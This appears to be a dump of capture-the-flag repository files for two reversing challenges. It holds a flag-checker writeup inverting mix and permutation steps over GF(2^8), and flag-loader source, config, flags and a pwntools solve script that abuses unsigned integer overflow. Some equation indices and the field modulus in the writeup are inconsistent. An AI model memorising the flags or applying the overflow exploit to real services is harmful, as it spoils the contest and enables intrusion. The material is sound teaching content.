\\\\\\\\\\n\",\n    \"             &= b_0 \\\\alpha + b_1 \\\\alpha^2 + \\\\cdots + b_7 (\\\\alpha^4 + \\\\alpha^3 + \\\\alpha + 1) \\\\\\\\\\n\",\n    \"             &= b_7 + (b_0 + b_7) \\\\alpha + b_1 \\\\alpha^2 + (b_2 + b_7) \\\\alpha^3 + (b_3 + b_7) \\\\alpha^4 + b_4 \\\\alpha^5 + b_5 \\\\alpha^6 + b_6 \\\\alpha^7\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Comparing this with the implementation of `m`:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"byte m(byte b) {\\n\",\n    \"  return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"(noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\\\\alpha$, and $b_1$ with $\\\\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \\\\alpha, \\\\alpha^3$ and $\\\\alpha^4$.\\n\",\n    \"\\n\",\n    \"Furthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$.\\n\",\n    \"\\n\",\n    \"The decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers:\\n\",\n    \"\\n\",\n    \"```C\\n\",\n    \"void mix_column(unsigned char* input, int idxs[]) {\\n\",\n    \"    unsigned char b0, b1, b2, b3, b4, b5;\\n\",\n    \"    unsigned char d0, d1, d2, d3, d4, d5;\\n\",\n    \"    b0 = input[idxs[0]];\\n\",\n    \"    b1 = input[idxs[1]];\\n\",\n    \"    b2 = input[idxs[2]];\\n\",\n    \"    b3 = input[idxs[3]];\\n\",\n    \"    b4 = input[idxs[4]];\\n\",\n    \"    b5 = input[idxs[5]];\\n\",\n    \"    d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4));\\n\",\n    \"    d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5));\\n\",\n    \"    d2 = m2(b0) ^ b4;\\n\",\n    \"    d3 = m2(b1) ^ b5;\\n\",\n    \"    d4 = b0 ^ m2(b0) ^ m2(b2);\\n\",\n    \"    d5 = b1 ^ m2(b1) ^ m2(b3);\\n\",\n    \"    input[idxs[0]] = d0;\\n\",\n    \"    input[idxs[1]] = d1;\\n\",\n    \"    input[idxs[2]] = d2;\\n\",\n    \"    input[idxs[3]] = d3;\\n\",\n    \"    input[idxs[4]] = d4;\\n\",\n    \"    input[idxs[5]] = d5;\\n\",\n    \"}\\n\",\n    \"```\\n\",\n    \"\\n\",\n    \"The $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\\\\\\\\\n\",\n    \"    d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\\\\\\\\\n\",\n    \"    d_2 &= 2 b_0 + b_4 \\\\\\\\\\n\",\n    \"    d_4 &= 2 b_1 + b_5 \\\\\\\\\\n\",\n    \"    d_5 &= 3 b_0 + 2 b_2 \\\\\\\\\\n\",\n    \"    d_6 &= 3 b_1 + 2 b_3\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Recall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"d_0 \\\\\\\\ d_1 \\\\\\\\ d _2 \\\\\\\\ d_3 \\\\\\\\ d_4 \\\\\\\\ d_5\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"=\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"    3 & 0 & 3 & 0 & 2 & 0 \\\\\\\\\\n\",\n    \"    0 & 3 & 0 & 3 & 0 & 2 \\\\\\\\\\n\",\n    \"    2 & 0 & 0 & 0 & 1 & 0 \\\\\\\\\\n\",\n    \"    0 & 2 & 0 & 0 & 0 & 1 \\\\\\\\\\n\",\n    \"    3 & 0 & 2 & 0 & 0 & 0 \\\\\\\\\\n\",\n    \"    0 & 3 & 0 & 2 & 0 & 0 \\\\\\\\\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"b_0 \\\\\\\\ b_1 \\\\\\\\ b _2 \\\\\\\\ b_3 \\\\\\\\ b_4 \\\\\\\\ b_5\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"So to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"b_0 \\\\\\\\ b_1 \\\\\\\\ b_2 \\\\\\\\ b_3 \\\\\\\\ b_4 \\\\\\\\ b_5\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"=\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"    3 & 0 & 3 & 0 & 2 & 0 \\\\\\\\\\n\",\n    \"    0 & 3 & 0 & 3 & 0 & 2 \\\\\\\\\\n\",\n    \"    2 & 0 & 0 & 0 & 1 & 0 \\\\\\\\\\n\",\n    \"    0 & 2 & 0 & 0 & 0 & 1 \\\\\\\\\\n\",\n    \"    3 & 0 & 2 & 0 & 0 & 0 \\\\\\\\\\n\",\n    \"    0 & 3 & 0 & 2 & 0 & 0 \\\\\\\\\\n\",\n    \"\\\\end{bmatrix}^{-1}\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"d_0 \\\\\\\\ d_1 \\\\\\\\ d_2 \\\\\\\\ d_3 \\\\\\\\ d_4 \\\\\\\\ d_5\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this:\\n\",\n    \"\\n\",\n    \"![mix-grouping.png](./assets/mix-grouping.png)\\n\",\n    \"\\n\",\n    \"## Inverting the Output\\n\",\n    \"\\n\",\n    \"To recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :)\\n\",\n    \"\\n\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"182608e0\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.6\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "rev/flag-checker/solve/writeup.md",
    "content": "# Challenge Overview\n\nWe are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions.\n\nThe main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later):\n\n```C\nvoid main(void)\n\n{\n  size_t input_length;\n  undefined8 tree;\n  long in_FS_OFFSET;\n  int i;\n  int j;\n  char input [40];\n  undefined8 uStack16;\n  \n  uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28);\n  init();\n  printf(\"What\\'s the flag?: \");\n  fgets(input,0x25,stdin);\n  input_length = strlen(input);\n  if (input_length != 0x24) {\n    die();\n  }\n  for (i = 0; i < 0x10; i = i + 1) {\n    mix(input);\n    tree = generate_tree(input);\n    permute(input,tree);\n  }\n  for (j = 0; j < 0x24; j = j + 1) {\n    if (input[j] != (&FINAL)[j]) {\n      die();\n    }\n  }\n  puts(\"Correct! :)\");\n                    /* WARNING: Subroutine does not return */\n  exit(0);\n}\n```\n\nWe see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value.\n\nThis for loop is where all the transformations seem to happen:\n\n```C\n  for (i = 0; i < 0x10; i = i + 1) {\n    mix(input);\n    tree = generate_tree(input);\n    permute(input,tree);\n  }\n```\n\nWe'll go through each of these functions.\n\n## Mixing Step\n\nThe function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows:\n\n```C\n  int c0[6] = {0, 1, 2, 6, 12, 18};\n  int c1[6] = {3, 4, 5, 11, 17, 23};\n  int c2[6] = {7, 8, 9, 13, 14, 15};\n  int c3[6] = {10, 16, 22, 28, 29, 35};\n  int c4[6] = {19, 20, 24, 25, 26, 30};\n  int c5[6] = {21, 27, 31, 32, 33, 34};\n```\n\nand then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays:\n\n```C\n  mix_column(input,c0);\n  mix_column(input,c1);\n  mix_column(input,c2);\n  mix_column(input,c3);\n  mix_column(input,c4);\n  mix_column(input,c5);\n```\n\nThe `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input:\n\n```C\nuint m(byte param_1)\n{\n  return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2;\n}\n```\n\nBack to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these \"chunks\" of the input independently.\n\nThe modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs.\n\n## Tree Generation\n\nThe function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input.\n\nObviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the \"current\" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input.\n\nConceptually, the data structure looks something like this:\n\n![tree.png](./assets/tree.png)\n\n## Permutation Step\n\nThe final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple:\n\n```C\nvoid permute(undefined *input,long root)\n{\n  *input = *(undefined *)(root + 0x2730);\n  input[1] = *(undefined *)(root + 0x5b00);\n  input[2] = *(undefined *)(root + 0x370);\n  input[3] = *(undefined *)(root + 0x6f0);\n  input[4] = *(undefined *)(root + 0x3120);\n  input[5] = *(undefined *)(root + 0x3370);\n  input[6] = *(undefined *)(root + 0x32d0);\n  input[7] = *(undefined *)(root + 0x57b0);\n  input[8] = *(undefined *)(root + 0x2ea0);\n  input[9] = *(undefined *)(root + 0x1750);\n  input[10] = *(undefined *)(root + 0x440);\n  input[0xb] = *(undefined *)(root + 0x5b0);\n  input[0xc] = *(undefined *)(root + 0x4b90);\n  input[0xd] = *(undefined *)(root + 0x310);\n  input[0xe] = *(undefined *)(root + 0x2f10);\n  input[0xf] = *(undefined *)(root + 0x4ac0);\n  input[0x10] = *(undefined *)(root + 0x1bf0);\n  input[0x11] = *(undefined *)(root + 0x3690);\n  input[0x12] = *(undefined *)(root + 0x1580);\n  input[0x13] = *(undefined *)(root + 0x1620);\n  input[0x14] = *(undefined *)(root + 0x4480);\n  input[0x15] = *(undefined *)(root + 0x3520);\n  input[0x16] = *(undefined *)(root + 0x1840);\n  input[0x17] = *(undefined *)(root + 0x1e20);\n  input[0x18] = *(undefined *)(root + 0x1330);\n  input[0x19] = *(undefined *)(root + 0x48d0);\n  input[0x1a] = *(undefined *)(root + 0x1d40);\n  input[0x1b] = *(undefined *)(root + 0x3930);\n  input[0x1c] = *(undefined *)(root + 0x2fb0);\n  input[0x1d] = *(undefined *)(root + 0x27b0);\n  input[0x1e] = *(undefined *)(root + 0x5b80);\n  input[0x1f] = *(undefined *)(root + 0x2f30);\n  input[0x20] = *(undefined *)(root + 8000);\n  input[0x21] = *(undefined *)(root + 0x4b00);\n  input[0x22] = *(undefined *)(root + 0x3650);\n  input[0x23] = *(undefined *)(root + 0x2ef0);\n  return;\n}\n```\n\nIt modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable).\n\n## Flag Check\n\nAfter 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string\n\n```\n0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e\n```\n\nwhich can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string.\n\n# Solution\n\nSince the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted.\n\n## Permutation Step\n\nTo figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this:\n\n![permutation.png](./assets/permutation.png)\n\nAs an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation.\n\nComputing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`.\n\n## Mixing Step\n\nThe core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version):\n\n```C\nbyte m(byte b) {\n  return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n}\n```\n\nIt is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!).\n\nThe key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\\alpha]/(\\alpha^8 + \\alpha^4 + \\alpha^3 + 1) \\cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \\alpha, 1 + \\alpha, \\ldots$. In general, an element in $K$ is of the form:\n\n$$\nb_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n$$\n\nwhere $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\\alpha$, we write integers for convenience (but we understand that they are elements of $K$).\n\nAs we will now see, the implementation of `m` is equivalent to multiplication by $\\alpha$ (which is $2$ when represented as an integer). Let\n\n$$\nb = b_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n$$\n\nThen,\n\n$$\n\\begin{aligned}\n    \\alpha b &= \\alpha (b_0 + b_1 \\alpha + \\cdots + b_7 \\alpha^7) \\\\\n             &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 \\alpha^8 \\\\\n             &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 (\\alpha^4 + \\alpha^3 + \\alpha + 1) \\\\\n             &= b_7 + (b_0 + b_7) \\alpha + b_1 \\alpha^2 + (b_2 + b_7) \\alpha^3 + (b_3 + b_7) \\alpha^4 + b_4 \\alpha^5 + b_5 \\alpha^6 + b_6 \\alpha^7\n\\end{aligned}\n$$\n\nComparing this with the implementation of `m`:\n\n```C\nbyte m(byte b) {\n  return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n}\n```\n\n(noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\\alpha$, and $b_1$ with $\\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \\alpha, \\alpha^3$ and $\\alpha^4$.\n\nFurthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$.\n\nThe decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers:\n\n```C\nvoid mix_column(unsigned char* input, int idxs[]) {\n    unsigned char b0, b1, b2, b3, b4, b5;\n    unsigned char d0, d1, d2, d3, d4, d5;\n    b0 = input[idxs[0]];\n    b1 = input[idxs[1]];\n    b2 = input[idxs[2]];\n    b3 = input[idxs[3]];\n    b4 = input[idxs[4]];\n    b5 = input[idxs[5]];\n    d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4));\n    d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5));\n    d2 = m2(b0) ^ b4;\n    d3 = m2(b1) ^ b5;\n    d4 = b0 ^ m2(b0) ^ m2(b2);\n    d5 = b1 ^ m2(b1) ^ m2(b3);\n    input[idxs[0]] = d0;\n    input[idxs[1]] = d1;\n    input[idxs[2]] = d2;\n    input[idxs[3]] = d3;\n    input[idxs[4]] = d4;\n    input[idxs[5]] = d5;\n}\n```\n\nThe $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have:\n\n$$\n\\begin{aligned}\n    d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\\\\n    d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\\\\n    d_2 &= 2 b_0 + b_4 \\\\\n    d_4 &= 2 b_1 + b_5 \\\\\n    d_5 &= 3 b_0 + 2 b_2 \\\\\n    d_6 &= 3 b_1 + 2 b_3\n\\end{aligned}\n$$\n\nRecall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that:\n\n$$\n\\begin{bmatrix}\nd_0 \\\\ d_1 \\\\ d _2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n\\end{bmatrix}\n=\n\\begin{bmatrix}\n    3 & 0 & 3 & 0 & 2 & 0 \\\\\n    0 & 3 & 0 & 3 & 0 & 2 \\\\\n    2 & 0 & 0 & 0 & 1 & 0 \\\\\n    0 & 2 & 0 & 0 & 0 & 1 \\\\\n    3 & 0 & 2 & 0 & 0 & 0 \\\\\n    0 & 3 & 0 & 2 & 0 & 0 \\\\\n\\end{bmatrix}\n\\begin{bmatrix}\nb_0 \\\\ b_1 \\\\ b _2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n\\end{bmatrix}\n$$\n\nSo to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix:\n\n$$\n\\begin{bmatrix}\nb_0 \\\\ b_1 \\\\ b_2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n\\end{bmatrix}\n=\n\\begin{bmatrix}\n    3 & 0 & 3 & 0 & 2 & 0 \\\\\n    0 & 3 & 0 & 3 & 0 & 2 \\\\\n    2 & 0 & 0 & 0 & 1 & 0 \\\\\n    0 & 2 & 0 & 0 & 0 & 1 \\\\\n    3 & 0 & 2 & 0 & 0 & 0 \\\\\n    0 & 3 & 0 & 2 & 0 & 0 \\\\\n\\end{bmatrix}^{-1}\n\\begin{bmatrix}\nd_0 \\\\ d_1 \\\\ d_2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n\\end{bmatrix}\n$$\n\nThe last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this:\n\n![mix-grouping.png](./assets/mix-grouping.png)\n\n## Inverting the Output\n\nTo recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :)\n"
  },
  {
    "path": "rev/flag-loader/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nCOPY ./challenge/flag.txt /home/ctf/chal/\nCOPY ./challenge/flag_loader /home/ctf/chal/pwn\n"
  },
  {
    "path": "rev/flag-loader/README.md",
    "content": "# flag loader\n\n**Category:** reversing\n\n**Difficulty:** easy\n\n**Author:** joseph#8210\n\nWhat more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours!\n\n`<REMOTE IP> <PORT>`\n\n**Attached files:**\n- ./challenge/flag_loader (sha256: de8f47b8ad8b8efac5c41575757906f4c211282eccadc693a6a595ac784a7593)\n"
  },
  {
    "path": "rev/flag-loader/challenge/flag.txt",
    "content": "DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!}\n"
  },
  {
    "path": "rev/flag-loader/challenge/flag_loader.c",
    "content": "#include <stdlib.h>\n#include <time.h>\n#include <unistd.h>\n#include <signal.h>\n#include <stdio.h>\n\nvoid sig_handler() {\n    puts(\"I don't have all day... No flag for you :(\");\n    exit(-1);\n}\n\nvoid init() {\n    setvbuf(stdout, 0, 2, 0);\n    setvbuf(stdin, 0, 2, 0);\n    signal(SIGALRM, sig_handler);\n    alarm(60);\n    srand(time(NULL) * getpid());\n}\n\nvoid die() {\n    puts(\"You failed the check! No flag for you :(\");\n    exit(-1);\n}\n\nunsigned char X[5] = { 0x44, 0x55, 0x43, 0x54, 0x46 };\nunsigned int check1() {\n    char s[6];\n    unsigned char t1 = 0;\n    unsigned char t2 = 1;\n\n    printf(\"Give me five letters: \");\n    read(0, s, 5);\n\n    for(int i = 0; i < 5; i++) {\n        t1 += X[i] ^ s[i];\n        t2 *= s[i] * (i+1);\n    }\n\n    if(t1 != 0 || t2 == 0) {\n        die();\n    }\n\n    return t2;\n}\n\nunsigned int check2() {\n    unsigned int x, y;\n    int r = rand() & 0xffff;\n\n    printf(\"Solve this: x + y = %d\\n\", r);\n    scanf(\"%u %u\", &x, &y);\n\n    if(x == 0 || y == 0 || x <= r || y <= r) {\n        die();\n    }\n\n    if(x + y != r || ((x*y) & 0xffff) < 60) {\n        die();\n    }\n\n    return (x*y) & 0xffff;\n}\n\nunsigned int check3() {\n    unsigned int x1, x2, x3, x4, x5;\n    int r = rand() & 0xffff;\n\n    printf(\"Now solve this: x1 + x2 + x3 + x4 + x5 = %d\\n\", r);\n    scanf(\"%u %u %u %u %u\", &x1, &x2, &x3, &x4, &x5);\n\n    if(x1 == 0 || x2 == 0 || x3 == 0 || x4 == 0 || x5 == 0) {\n        die();\n    }\n\n    if(!(x1 < x2) || !(x2 < x3) || !(x3 < x4) || !(x4 < x5)) {\n        die();\n    }\n\n    if(x1 + x2 + x3 + x4 + x5 != r || (((x3 - x2)*(x5 - x4)) & 0xffff) < 60) {\n        die();\n    }\n\n    return ((x3 - x2)*(x5 - x4)) & 0xffff;\n}\n\nint main() {\n    init();\n\n    unsigned int x1, x2, x3;\n\n    x1 = check1();\n    x2 = check2();\n    x3 = check3();\n\n    puts(\"You've passed all the checks! Please be patient as the flag loads.\");\n    puts(\"Loading flag... (this may or may not take a while)\");\n    sleep(x1 * x2 * x3);\n\n    FILE* fp = fopen(\"flag.txt\", \"r\");\n    char flag[255];\n    fgets(flag, 255, fp);\n    printf(\"%s\", flag);\n\n    return 0;\n}\n"
  },
  {
    "path": "rev/flag-loader/challenge.yml",
    "content": "version: \"0.1\"\nid: flag-loader\nname: flag loader\ncategory: reversing\ndescription: >\n  What more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours!\n\n\n  Author: joseph#8210\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./challenge/flag_loader\n\nflags:\n  - DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!}\n"
  },
  {
    "path": "rev/flag-loader/solve/solve.py",
    "content": "from pwn import *\nfrom parse import parse\n\nconn = remote('0.0.0.0', 1337)\n\n# check 1\nX = b'DUCTF'\nS = b'\\x02\\x01\\x01\\x01\\x89'\nz1 = sum(s*(i+1) for i, s in enumerate(S)) % 256\n\nassert sum([x^s for x, s in zip(X ,S)]) % 256 == 0\nassert z1 % 2**3 == 0\n\nconn.sendlineafter(': ', S)\n\n# check 2\nr1 = parse('Solve this: x + y = {:d}\\n', conn.recvline().decode())[0]\nfor v in range(16):\n    if r1 % 2**(v+1) != 0:\n        break\nk = 15 - v\nx = r1 + 2**k\ny = 2**32 - 2**k\nz2 = (x*y) & 0xffff\nassert z2 == 2**15\n\nconn.sendline(f'{x} {y}')\n\n# check 3\nr2 = parse('Now solve this: x1 + x2 + x3 + x4 + x5 = {:d}\\n', conn.recvline().decode())[0]\nx1 = 2 - (r2 & 1)\nx2 = 3\nx3 = 2**7 + x2\nx4 = (r2 - x1 - 2*x2 - 2**7 - 2**8)//2\nx5 = 2**8 + x4\nz3 = (x3 - x2)*(x5 - x4) % 2**16\n\nassert x1 + x2 + x3 + x4 + x5 == r2\nassert z3 % 2**14 == 0\n\nconn.sendline(f'{x1} {x2} {x3} {x4} {x5}')\n\nassert z1*z2*z3 % 2**32 == 0\n\nprint(conn.recvline().decode())\nprint(conn.recvline().decode())\nprint(conn.recvline().decode())\n"
  },
  {
    "path": "rev/flag-loader/solve/writeup.md",
    "content": "# Challenge Overview\n\nGhidra decompilation of the binary is very easy to read. We see that there are three \"checks\" that each return a value. Once all three checks are passed, their outputs `x1`, `x2` and `x3` are used to call `sleep(x1 * x2 * x3)`. There is a timeout of 60 seconds, so task is to pass all three checks while also making sure this sleep call does not take longer than 60 seconds.\n\nThe return values of each check are all `unsigned int`s.\n\n## Check 1\n\nIn this check, we are prompted for five characters of input. A variable `t1` is computed as the sum of `X[i] ^ input[i]` (for `i = 0, ..., 4`) where `X` is a hardcoded byte string in the binary (`X = b'DUCTF'`). Another variable `t2` is computed as the product `input[i] * (i+1)` (for `i = 0, ..., 4`). To pass the check, we need `t1` to be zero, and `t2` to be nonzero. The returned value is `t2`.\n\n## Check 2\n\nIn this check, we are prompted to solve a simple equation. Given a number `r`, we are asked to provide `x` and `y` such that `x + y == r`. To pass the check, neither `x` nor `y` can be less than `r`. We also need `x + y` to actually equal `r` and `x*y & 0xffff` must be greater than `60`. The returned value is `x*y & 0xffff`.\n\n## Check 3\n\nIn this check, we are prompted to solve another kind of equation. Given a number `r`, we are asked to provide `x1, x2, x3, x4, x5` such that `x1 + x2 + x3 + x4 + x5 == r`. To pass the check, none of the inputs can be `0` and they must be strictly increasing (i.e. `x1 < x2 < x3 < x4 < x5`). Additionally, `(x3 - x2)*(x5 - x4) & 0xffff` must be greater than `60`. The returned value is `(x3 - x2)*(x5 - x4) & 0xffff`.\n\n## Loading the Flag\n\nIf we manage to pass all the checks, the outputs of each check (`x1`, `x2`, `x3`) are combined and `sleep(x1 * x2 * x3)` is called. Because there is a timeout of 60 seconds, it is impossible to get the flag if `x1 * x2 * x3 > 60`.\n\n# Solution\n\nAt first the challenge may seem impossible since the return values of each checks can never be zero, and for checks 2 and 3, they are guaranteed to be larger than 60. Fortunately, we have quite a lot of freedom on our inputs.\n\nChecking the `man` page for `sleep` we see that the argument is an `unsigned int` which takes on values between `0` and `2^32`. If we can choose our inputs such that the product of the return values of all the check functions are very slightly above a multiple of `2^32` (or even better, a multiple of `2^32`), then we will be able to get past the annoying `sleep`. So the goal for now is to get the outputs to have as many factors of `2` as possible.\n\nWe will see in detail how to do this for each check.\n\n## Check 1\n\nFor this check, sending anything that will pass the `t1 == 0` check will be useful, because the way that `t2` is calculated means that it will always have a factor of `2^3` at least. A valid input is `\\x02\\x01\\x01\\x01\\x89`.\n\n## Check 2\n\nFor this check, we need to find \"good\" `x` and `y` such that `x + y == r` and also `(x * y) & 0xffff` has many factors of `2`. Recall that unsigned integers are in the range `[0, 2^32)`, and anything that goes above \"overflows\" back to `0` (i.e. `2^32` becomes `0`, and `2^32 + 1` becomes `1`). Since our inputs need to both be more than `r`, abusing this overflow is the only way we can make their sum be equal to `r`. If `r = 31482` for example, a good choice for `x` and `y` would be `x = r + 2^14` and `y = 2^32 - 2^14`. Then, `x + y = (r + 2^14) + (2^32 - 2^14) = r + 2^32 = r`, so it passes the initial check. Furthermore, `x * y = (r + 2^14) * (2^32 - 2^14) = 2^32 * r - 2^14 * r + 2^46 - 2^28` when the `& 0xffff` operation is performed, we are left with `2**15` which 